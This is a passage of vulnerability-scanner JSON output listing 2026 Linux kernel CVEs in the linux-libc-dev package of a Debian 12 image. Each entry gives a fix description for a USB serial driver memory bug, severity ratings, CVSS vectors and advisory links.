"https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8817-1", "https://ubuntu.com/security/notices/USN-8817-2", "https://ubuntu.com/security/notices/USN-8817-3", "https://ubuntu.com/security/notices/USN-8818-1", "https://ubuntu.com/security/notices/USN-8818-2", "https://ubuntu.com/security/notices/USN-8818-3", "https://ubuntu.com/security/notices/USN-8818-4", "https://ubuntu.com/security/notices/USN-8818-5", "https://ubuntu.com/security/notices/USN-8818-6", "https://ubuntu.com/security/notices/USN-8842-1", "https://ubuntu.com/security/notices/USN-8849-1", "https://ubuntu.com/security/notices/USN-8871-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-63888" ], "PublishedDate": "2026-07-19T16:17:05.997Z", "LastModifiedDate": "2026-10-26T20:17:53.59Z" }, { "VulnerabilityID": "CVE-2026-63898", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63898", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:04332d5bd2e392faa00a8af257af34ed7cbb0fb0eba9a8b4040f7e1cb5038fad", "Title": "kernel: USB: serial: mct_u232: fix memory corruption with small endpoint", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nUSB: serial: mct_u232: fix memory corruption with small endpoint\n\nThe driver overrides the maximum transfer size for a specific device\nwhich only accepts 16 byte packets for its 32 byte bulk-out endpoint.\n\nMake sure to never increase the maximum transfer size to prevent slab\ncorruption should a malicious device report a smaller endpoint max\npacket size than expected.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-63898", "https://git.kernel.org/linus/915b36d701950503c4ea0f6e314b10868e59fce3%20%287.1-rc6%29", "https://git.kernel.org/stable/c/39e295a91e80f3b91f61c7ada2bde434dcaba20d", "https://git.kernel.org/stable/c/57f332af1745014cd7e40414814ffaa6bc7d3b5b", "https://git.kernel.org/stable/c/6cb48f8890f9b2051d7c34823057296a536a31c5", "https://git.kernel.org/stable/c/90dbad14b109e5fdfb4934ff61e561d11ba3742d", "https://git.kernel.org/stable/c/915b36d701950503c4ea0f6e314b10868e59fce3", "https://git.kernel.org/stable/c/94edbbc5fe00d03cfe1d4e690d7d2cd36317a935", "https://git.kernel.org/stable/c/bd2ddb3fe9052ad8703593bbec26ecc7ca92869e", "https://git.kernel.org/stable/c/d8fdf33d6fcfb90cbec26299baf2352c84b2d768", "https://linux.oracle.com/cve/CVE-2026-63898.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026071943-CVE-2026-63898-d22a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63898", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-63898" ], "PublishedDate": "2026-07-19T16:17:07.37Z", "LastModifiedDate": "2026-10-30T14:38:34.63Z" }, { "VulnerabilityID": "CVE-2026-63899", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63899", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9214184391c156a23fe30c2f3e09ea5b89b6e10df9747d5ae5e846d6d8c7babf", "Title": "kernel: USB: serial: mxuport: fix memory corruption with small endpoint", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nUSB: serial: mxuport: fix memory corruption with small endpoint\n\nMake sure that the bulk-out endpoint max packet size is at least eight\nbytes to avoid user-controlled slab corruption should a malicious device\nreport a smaller size.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "alma": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:86033", "https://access.redhat.com/security/cve/CVE-2026-63899", "https://bugzilla.redhat.com/2461761", "https://bugzilla.redhat.com/2492098", "https://bugzilla.redhat.com/2502325", "https://bugzilla.redhat.com/2502332", "https://bugzilla.redhat.com/2502333", "https://bugzilla.redhat.com/2502356", "https://bugzilla.redhat.com/2502462", "https://bugzilla.redhat.com/2502486", "https://bugzilla.redhat.com/2511413", "https://bugzilla.redhat.com/2516967", "https://bugzilla.redhat.com/2532230", "https://bugzilla.redhat.com/2540391", "https://bugzilla.redhat.com/2540872", "https://bugzilla.redhat.com/2546491", "https://bugzilla.redhat.com/2553429", "https://bugzilla.redhat.com/show_bug.cgi?id=2461761", "https://bugzilla.redhat.com/show_bug.cgi?id=2492098", "https://bugzilla.redhat.com/show_bug.cgi?id=2502325", "https://bugzilla.redhat.com/show_bug.cgi?id=2502332", "https://bugzilla.redhat.com/show_bug.cgi?id=2502333", "https://bugzilla.redhat.com/show_bug.cgi?id=2502356", "https://bugzilla.redhat.com/show_bug.cgi?id=2502377", "https://bugzilla.redhat.com/show_bug.cgi?id=2502462", "https://bugzilla.redhat.com/show_bug.cgi?id=2502486", "https://bugzilla.redhat.com/show_bug.cgi?id=2511413", "https://bugzilla.redhat.com/show_bug.cgi?id=2516967", "https://bugzilla.redhat.com/show_bug.cgi?id=2525413", "https://bugzilla.redhat.com/show_bug.cgi?id=2532230", "https://bugzilla.redhat.com/show_bug.cgi?id=2540391", "https://bugzilla.redhat.com/show_bug.cgi?id=2546491", "https://bugzilla.redhat.com/show_bug.cgi?id=2553429", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31678", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52935", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63899", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63956", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63962", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63974", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64024", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64032", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64572", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74509", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80590", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89633", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93817", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-99999", "https://errata.almalinux.org/9/ALSA-2026-86033.html", "https://errata.rockylinux.org/RLSA-2026:86033", "https://git.kernel.org/linus/4085f0dbb1ce2251c9a5938d693de6593f0ab2bd%20%287.1-rc6%29", "https://git.kernel.org/stable/c/086b858b5f5125bc9d967ea2bd825f83d9f8f29d", "https://git.kernel.org/stable/c/2f3661eb2446e1ef593da45e01a3b21a906768ec", "https://git.kernel.org/stable/c/4085f0dbb1ce2251c9a5938d693de6593f0ab2bd", "https://git.kernel.org/stable/c/6c0cf56f00f280d72180bb6ce79741bc787a6269", "https://git.kernel.org/stable/c/b40166b4ef96067620a0f248e74ad9658c8f680c", "https://git.kernel.org/stable/c/be3a1ed4ae51fa8dde57383277d336ce834f2cd9", "https://git.kernel.org/stable/c/ccbec56f2f9af008f1574335cc6a668f16603e47", "https://git.kernel.org/stable/c/e906545641d34fb1a09a65b4b5cfdff40eb09681", "https://linux.oracle.com/cve/CVE-2026-63899.html", "https://linux.oracle.com/errata/ELSA-2026-86033.html", "https://lore.kernel.org/linux-cve-announce/2026071943-CVE-2026-63899-cd10@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63899", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-63899" ], "PublishedDate": "2026-07-19T16:17:07.497Z", "LastModifiedDate": "2026-10-30T14:38:26.447Z" }, { "VulnerabilityID": "CVE-2026-63901", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63901", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2909412af217b1e8a9ea07b2a96bce8add5e03ce13131ecb437e7e1ce2ca86c3", "Title": "kernel: USB: serial: digi_acceleport: fix memory corruption with small endpoints", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nUSB: serial: digi_acceleport: fix memory corruption with small endpoints\n\nAdd the missing bulk-out buffer size sanity checks to avoid\nout-of-bounds memory accesses or slab corruption should a malicious\ndevice report smaller buffers than expected.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-63901", "https://git.kernel.org/linus/cb3560e8eab1dfa1cac1ed52631adf8ec6ff2cd5%20%287.1-rc6%29", "https://git.kernel.org/stable/c/062dcc0b324afd03b1406f157190804f105718bb", "https://git.kernel.org/stable/c/25b93d0f229a115ab120106f37b9454170d4cfd4", "https://git.kernel.org/stable/c/41b645e791099f0038225da5e2ca3ca31f00d435", "https://git.kernel.org/stable/c/6ab1e9ae099577a1019312088309ecbad2da9a91", "https://git.kernel.org/stable/c/8a65db5edd7b63365e9c5b7d9f4b8f314696dc49", "https://git.kernel.org/stable/c/9469419b12a100e7e2ccdda64ab45b8368456c8a", "https://git.kernel.org/stable/c/cb3560e8eab1dfa1cac1ed52631adf8ec6ff2cd5", "https://git.kernel.org/stable/c/fd34198c2e5d164b57a7dcd4692626fece319225", "https://linux.oracle.com/cve/CVE-2026-63901.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026071943-CVE-2026-63901-f99b@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63901", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-63901" ], "PublishedDate": "2026-07-19T16:17:07.743Z", "LastModifiedDate": "2026-10-30T14:38:04.08Z" }, { "VulnerabilityID": "CVE-2026-63902", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63902", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:cbc272ec67cff3b96d84ef5480ae4941969f7779950c41ef588d8d6b29886f8c", "Title": "kernel: USB: serial: cypress_m8: validate interrupt packet headers", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nUSB: serial: cypress_m8: validate interrupt packet headers\n\ncypress_read_int_callback() parses the interrupt-in buffer according to\nthe selected Cypress packet format. Format 1 has a two-byte status/count\nheader and format 2 has a one-byte combined status/count header. The\nusb-serial core sizes the interrupt-in buffer from the endpoint\ndescriptor's wMaxPacketSize, and successful interrupt transfers can\ncomplete short when URB_SHORT_NOT_OK is not set.\n\nCheck that the completed packet contains the selected header before\nreading it. Malformed short reports are ignored and the interrupt URB is\nresubmitted through the existing retry path, preventing out-of-bounds\nheader-byte reads.\n\nKASAN report as below:\nKASAN slab-out-of-bounds in cypress_read_int_callback+0x240/0x7f0\nRead of size 1\nCall trace:\n cypress_read_int_callback() (drivers/usb/serial/cypress_m8.c:1009)\n __usb_hcd_giveback_urb()\n dummy_timer()\n\n[ johan: use constants in header length sanity checks ]", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-63902", "https://git.kernel.org/linus/9f9bfc80c67f35a275820da7e83a35dface08281%20%287.1-rc6%29", "https://git.kernel.org/stable/c/44f9bab8df7750a1e2a4d6cc22d7c9c2dc096aed", "https://git.kernel.org/stable/c/4a4cb0021ebe1fcadb52e04d19ed8d71470a530b", "https://git.kernel.org/stable/c/90664556916de22467097d4c8ceb716d597a5c32", "https://git.kernel.org/stable/c/9f9bfc80c67f35a275820da7e83a35dface08281", "https://git.kernel.org/stable/c/aaa66708bfb1dca2acd219d1c1582f9f6d5492cb", "https://git.kernel.org/stable/c/ae03453f2c809ca3cf73753269fa6184dea7160f", "https://git.kernel.org/stable/c/be50533fe7068e86eb7adb81988e6d6a3f6dfe53", "https://git.kernel.org/stable/c/fcef31a5a85ccf3c313449a866ec6ed7e4132425", "https://kernelcve.org/list/?q=CVE-2026-63902", "https://linux.oracle.com/cve/CVE-2026-63902.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026071944-CVE-2026-63902-68cb@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63902", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-63902" ], "PublishedDate": "2026-07-19T16:17:07.867Z", "LastModifiedDate": "2026-10-30T14:37:55.883Z" }, { "VulnerabilityID": "CVE-2026-63903", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63903", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7249d192c6446ecfddd4346a667fc18577f2d1cf534d06558c6c4008c846803e", "Title": "kernel: USB: serial: belkin_sa: validate interrupt status length", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nUSB: serial: belkin_sa: validate interrupt status length\n\nThe Belkin interrupt callback treats interrupt data as a four-byte\nstatus report and reads LSR/MSR fields at offsets 2 and 3. The\ninterrupt-in buffer length is derived from endpoint wMaxPacketSize, and\nshort interrupt transfers may complete successfully with a smaller\nactual_length.\n\nCheck the completed interrupt packet length before parsing status\nfields so short interrupt endpoints and short successful packets are\nignored instead of causing out-of-bounds or stale status-byte reads.\n\nKASAN report as below:\n\nBUG: KASAN: slab-out-of-bounds in belkin_sa_read_int_callback()\nRead of size 1\nCall trace:\n belkin_sa_read_int_callback() (drivers/usb/serial/belkin_sa.c:202)\n __usb_hcd_giveback_urb() (drivers/usb/core/hcd.c:1630)\n dummy_timer() (?:?)", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-63903", "https://git.kernel.org/linus/4ce058df2ee02cc2a0f0fd5cd64ce6f1482a0b65%20%287.1-rc6%29", "https://git.kernel.org/stable/c/22823a319fb2afdf02cacafbed8b613b757efbc8", "https://git.kernel.org/stable/c/37e54d1b986df35c936d81e5b59a7aa3ec6938f0", "https://git.kernel.org/stable/c/4ce058df2ee02cc2a0f0fd5cd64ce6f1482a0b65", "https://git.kernel.org/stable/c/6a4602221cba7a738442328d66a2f0b1c9bf6e17", "https://git.kernel.org/stable/c/db1e7eb6203d534dad64cac2c793b69e561e657b", "https://git.kernel.org/stable/c/f1617539ab90e67da788959bfd314076f093a11a", "https://git.kernel.org/stable/c/f361359a952da15e70e693c2d7dca5c5843eae3e", "https://git.kernel.org/stable/c/ffb739a49186ea784bbd9cb91b647f062395b419", "https://kernelcve.org/list/?q=CVE-2026-63903", "https://linux.oracle.com/cve/CVE-2026-63903.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026071944-CVE-2026-63903-eeba@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63903", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-63903" ], "PublishedDate": "2026-07-19T16:17:08Z", "LastModifiedDate": "2026-10-30T14:37:48.093Z" }, { "VulnerabilityID": "CVE-2026-63904", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63904", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f1e3d1d6e16169a7a10b0efc3651d7a10cb3523da9db270b3e825a22a190ae77", "Title": "kernel: usb: usbtmc: check URB actual_length for interrupt-IN notifications", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: usbtmc: check URB actual_length for interrupt-IN notifications\n\nUSBTMC devices can use an optional interrupt endpoint for notification\nmessages. These typically contain two-byte headers indicating the\npayload format, but the driver does not check if these headers are\npresent before accessing the data buffers. In cases where the URB\nactual_length is not enough to fit these headers, the driver will either\ncause an out-of-bounds read, or consume stale leftover data from a\nprevious notification.\n\nFix by checking if actual_data contains enough bytes for the headers,\notherwise resubmit URB to the interrupt endpoint.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-63904", "https://git.kernel.org/linus/52f2ad3f7e5eb3b5908e1d685d4342519dc9cfcd%20%287.1-rc6%29", "https://git.kernel.org/stable/c/52f2ad3f7e5eb3b5908e1d685d4342519dc9cfcd", "https://git.kernel.org/stable/c/5de7df75ef3a2756b25fe3d582a4a2970444fe5a", "https://git.kernel.org/stable/c/69020fa089f1bf0e1a10a15265f31b143a846409", "https://git.kernel.org/stable/c/75f6d3da2cc646983f41807ef98851569c12bca9", "https://git.kernel.org/stable/c/ae87f505917e703ae3b487d9663d78826ff43608", "https://git.kernel.org/stable/c/e3eec3005de44e7f37d8d7724be636446516ab42", "https://git.kernel.org/stable/c/e794bd67b3faf98af46f958897f6b91412c7d2a9", "https://git.kernel.org/stable/c/f141b01eaa58ac7e323931d670318aa247bff087", "https://kernelcve.org/list/?q=CVE-2026-63904", "https://linux.oracle.com/cve/CVE-2026-63904.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026071944-CVE-2026-63904-e989@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63904", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-63904" ], "PublishedDate": "2026-07-19T16:17:08.13Z", "LastModifiedDate": "2026-10-30T14:37:41.347Z" }, { "VulnerabilityID": "CVE-2026-63905", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { 